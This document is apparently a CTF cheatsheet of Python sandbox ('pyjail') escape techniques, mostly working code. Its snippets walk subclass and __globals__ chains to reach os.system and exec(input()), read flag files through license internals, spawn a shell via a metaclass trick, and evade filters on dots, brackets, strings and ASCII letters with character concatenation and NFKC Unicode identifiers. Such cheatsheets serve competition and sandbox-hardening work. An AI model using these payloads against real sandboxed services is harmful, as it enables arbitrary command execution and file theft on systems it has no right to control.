# pyjail cheatsheet
## Reference
### **Basics**
- https://book.hacktricks.xyz/generic-methodologies-and-resources/python/bypass-python-sandboxes
- https://ctf-wiki.mahaloz.re/pwn/linux/sandbox/python-sandbox-escape/
- https://shirajuki.js.org/blog/pyjail-cheatsheet
- https://github.com/salvatore-abello/python-ctf-cheatsheet/tree/main/pyjails#no-builtins-no-mro-single-exec
- https://scrapbox.io/satoooon-ctf-wiki/pyjail
### **NKFC**
- https://satoooon1024.hatenablog.com/entry/2022/08/20/Python%E3%81%AE%E8%AD%98%E5%88%A5%E5%AD%90%E3%81%AB%E3%81%8A%E3%81%91%E3%82%8BUnicode%E6%AD%A3%E8%A6%8F%E5%8C%96%28NFKC%29%E3%81%A8pyjail
- https://www.woodwhale.top/archives/hnctfj-ail-all-in-one
# Exploits
## Techniques
Execute pdb without parentheses
```python=
[+help for help.__class__.__pos__ in [breakpoint]]
[license for license._Printer__setup in [breakpoint]]
```
Execute pdb without parentheses and spaces
```python=
help.__class__.__pos__=breakpoint;+help
[[+help]for[help.__class__.__pos__]in[[breakpoint]]]
```
Cat without open, read
```python=
license._Printer__filenames += ['./flag']
license._Printer__filenames.reverse()
print(license)
[license._Printer__filenames.insert(0, './flag'), print(license)]
[license for license._Printer__filenames in [['/flag']]]
```
shell without call (os needed to be imported)
```python=
class sh("sh", metaclass=os.execvpe): pass
```
% substitution converts %% into %
```python=
"%%c %c"%0x41
# "%c A"
(((('exec(%%%%%%%%%%%%%%%%c%%%%%%%%c%%%%c%%c%c())'%(0xe00%0xcc))%(0xeccce0%0xcecc))%(0xeec%0xce))%(0xeeee%0xc0))%(0xc0cecce%0xe0cc)
# 'exec(ᵢnpᵤt())'
```
import only
```py
from os import system as __getattr__; from __main__ import sh
```
enter REPL after exit (when temrinal is TTY)
```py=
import os;os.environ['PYTHONINSPECT']='1'
```
## No Number
```python!
def symbolize(n: int):
if n == 0:
return '[]>[]'
res = []
for i,v in enumerate(f'{n:b}'[::-1]):
if v == '1':
res.append('('+'<<'.join(['([[]]>[])']*(i+1))+')')
return '+'.join(res)
symbolize(0)
# []<[]
symbolize(10)
# (([[]]>[])<<([[]]>[]))+(([[]]>[])<<([[]]>[])<<([[]]>[])<<([[]]>[]))
```
## No Builtins, No Reserved Words
Local: Identify Indexes
**Must be the SAME python interpreter as the remote**
```python!
# THe index of the element which has `__init__.__globals__`
N1 = [i for i,e in enumerate(().__class__.__bases__[0].__subclasses__()) if 'read' in dir(e)][0]
print(f"{N1=}\t(__init__.__globals__)")
```
Remote
```python!
().__class__.__base__.__subclasses__()[N1].__init__.__globals__['sys'].modules['os'].system('whoami')
```
## No Dot
```python!
getattr(getattr(getattr(getattr([e for e in getattr(getattr(getattr((),'_'+'_'+'c'+'l'+'a'+'s'+'s'+'_'+'_'), '_'+'_'+'b'+'a'+'s'+'e'+'s'+'_'+'_')[0], '_'+'_'+'s'+'u'+'b'+'c'+'l'+'a'+'s'+'s'+'e'+'s'+'_'+'_')() if 'r'+'e'+'a'+'d' in dir(e)][0], '_'+'_'+'i'+'n'+'i'+'t'+'_'+'_'), '_'+'_'+'g'+'l'+'o'+'b'+'a'+'l'+'s'+'_'+'_')['s'+'y'+'s'], 'm'+'o'+'d'+'u'+'l'+'e'+'s')['o'+'s'], 's'+'y'+'s'+'t'+'e'+'m')('whoami')
```
## No []
Local: Identify Indexes
**Must be the SAME python interpreter as the remote**
```python!
# THe index of the element which has `__init__.__globals__`
N1 = [i for i,e in enumerate(().__class__.__bases__[0].__subclasses__()) if 'r'+'e'+'a'+'d' in dir(e)][0]
print(f"{N1=}\t(__init__.__globals__)")
```
Remote
```python!
().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(N1).__init__.__globals__.get('s'+'y'+'s').modules.get('o'+'s').system('whoami')
```
## No String
Local: Identify Indexes
**Must be the SAME python interpreter as the remote**
```python!
# THe index of the element which has `__init__.__globals__`
N1 = [i for i,e in enumerate(().__class__.__bases__[0].__subclasses__()) if 'r'+'e'+'a'+'d' in dir(e)][0]
# The index of `sys`
N2 = [i for i,e in enumerate([*().__class__.__bases__[0].__subclasses__()[N1].__init__.__globals__.values()]) if '__name__' in dir(e) and e.__name__ == "sys"][0]
# The index of `os`
N3 = [i for i,e in enumerate([*[*().__class__.__bases__[0].__subclasses__()[N1].__init__.__globals__.values()][N2].modules.values()]) if '__name__' in dir(e) and e.__name__ == 'os'][0]
# The index of `builtins`
N4 = [i for i,e in enumerate([*().__class__.__bases__[0].__subclasses__()[N1].__init__.__globals__.values()]) if '__name__' in dir(e) and e.__name__ == "builtins"][0]
print(f"{N1=}\t(__init__.__globals__)")
print(f"{N2=}\t(sys)")
print(f"{N3=}\t(os)")
print(f"{N4=}\t(builtins)")
```
Remote
```py!
exec = [*().__class__.__base__.__subclasses__()[N1].__init__.__globals__.values()][N4].exec
input = [*().__class__.__base__.__subclasses__()[N1].__init__.__globals__.values()][N4].input
system = [*[*().__class__.__bases__[0].__subclasses__()[N1].__init__.__globals__.values()][N2].modules.values()][N3].system
chr = [*().__class__.__bases__[0].__subclasses__()[N1].__init__.__globals__.values()][N4].chr
# Attack
exec(input())
system(input())
# Attack (cat flag)
system(chr(99)+chr(97)+chr(116)+chr(32)+chr(102)+chr(108)+chr(97)+chr(103))
```
## No Alphabet
Identifiers can use non-ASCII characters (Reserved words must be ASCII characters)
```python!
def NKFCfy(s: str):
dic = {'a': 'ª', 'b': 'ᵇ', 'c': 'ᶜ', 'd': 'ᵈ', 'e': 'ᵉ', 'f': 'ᶠ', 'g': 'ᵍ', 'h': 'ʰ', 'i': 'ⁱ', 'j': 'ʲ', 'k': 'ᵏ', 'l': 'ˡ', 'm': 'ᵐ', 'n': 'ⁿ', 'o': 'º', 'p': 'ᵖ', 'q': '𐞥', 'r': 'ʳ', 's': 'ˢ', 't': 'ᵗ', 'u': 'ᵘ', 'v': 'ᵛ', 'w': 'ʷ', 'x': 'ˣ', 'y': 'ʸ', 'z': 'ᶻ'}
return ''.join([dic[e] if e.isalpha() and e.islower() else e for e in s])
```
Local: Identify Indexes
**Must be the SAME python interpreter as the remote**
```python!
# THe index of the element which has `__init__.__globals__`
N1 = [i for i,e in enumerate(().__class__.__bases__[0].__subclasses__()) if 'r'+'e'+'a'+'d' in dir(e)][0]
# The index of `sys`
N2 = [i for i,e in enumerate([*().__class__.__bases__[0].__subclasses__()[N1].__init__.__globals__.values()]) if '__name__' in dir(e) and e.__name__ == "sys"][0]
# The index of `os`
N3 = [i for i,e in enumerate([*[*().__class__.__bases__[0].__subclasses__()[N1].__init__.__globals__.values()][N2].modules.values()]) if '__name__' in dir(e) and e.__name__ == 'os'][0]
# The index of `builtins`
N4 = [i for i,e in enumerate([*().__class__.__bases__[0].__subclasses__()[N1].__init__.__globals__.values()]) if '__name__' in dir(e) and e.__name__ == "builtins"][0]
```
Remote
```python!
# No Reserved Words, No String Exploit
exploit = f'[*[*().__class__.__bases__[0].__subclasses__()[{N1}].__init__.__globals__.values()][{N2}].modules.values()][{N3}].system([*().__class__.__bases__[0].__subclasses__()[{N1}].__init__.__globals__.values()][{N4}].input([*().__class__.__bases__[0].__subclasses__()[{N1}].__init__.__globals__.values()][{N4}].chr(36)))'
NKFCfy(exploit)
# ==
[*[*().__ᶜˡªˢˢ__.__ᵇªˢᵉˢ__[0].__ˢᵘᵇᶜˡªˢˢᵉˢ__()[N1].__ⁱⁿⁱᵗ__.__ᵍˡºᵇªˡˢ__.ᵛªˡᵘᵉˢ()][N2].ᵐºᵈᵘˡᵉˢ.ᵛªˡᵘᵉˢ()][N3].ˢʸˢᵗᵉᵐ([*().__ᶜˡªˢˢ__.__ᵇªˢᵉˢ__[0].__ˢᵘᵇᶜˡªˢˢᵉˢ__()[N1].__ⁱⁿⁱᵗ__.__ᵍˡºᵇªˡˢ__.ᵛªˡᵘᵉˢ()][N4].ⁱⁿᵖᵘᵗ([*().__ᶜˡªˢˢ__.__ᵇªˢᵉˢ__[0].__ˢᵘᵇᶜˡªˢˢᵉˢ__()[N1].__ⁱⁿⁱᵗ__.__ᵍˡºᵇªˡˢ__.ᵛªˡᵘᵉˢ()][N4].ᶜʰʳ(36)))
```
## gi_frame
- https://pid-blog.com/article/frame-escape-pyjail
- https://maplebacon.org/2024/02/dicectf2024-irs/
- https://blog.antoine.rocks/%F0%9F%91%A9%E2%80%8D%F0%9F%8F%ABwriteups/ictf%202024%20-%20all%20pyjails/
## auddithook
{%preview https://docs.python.org/3/library/audit_events.html#audit-events %}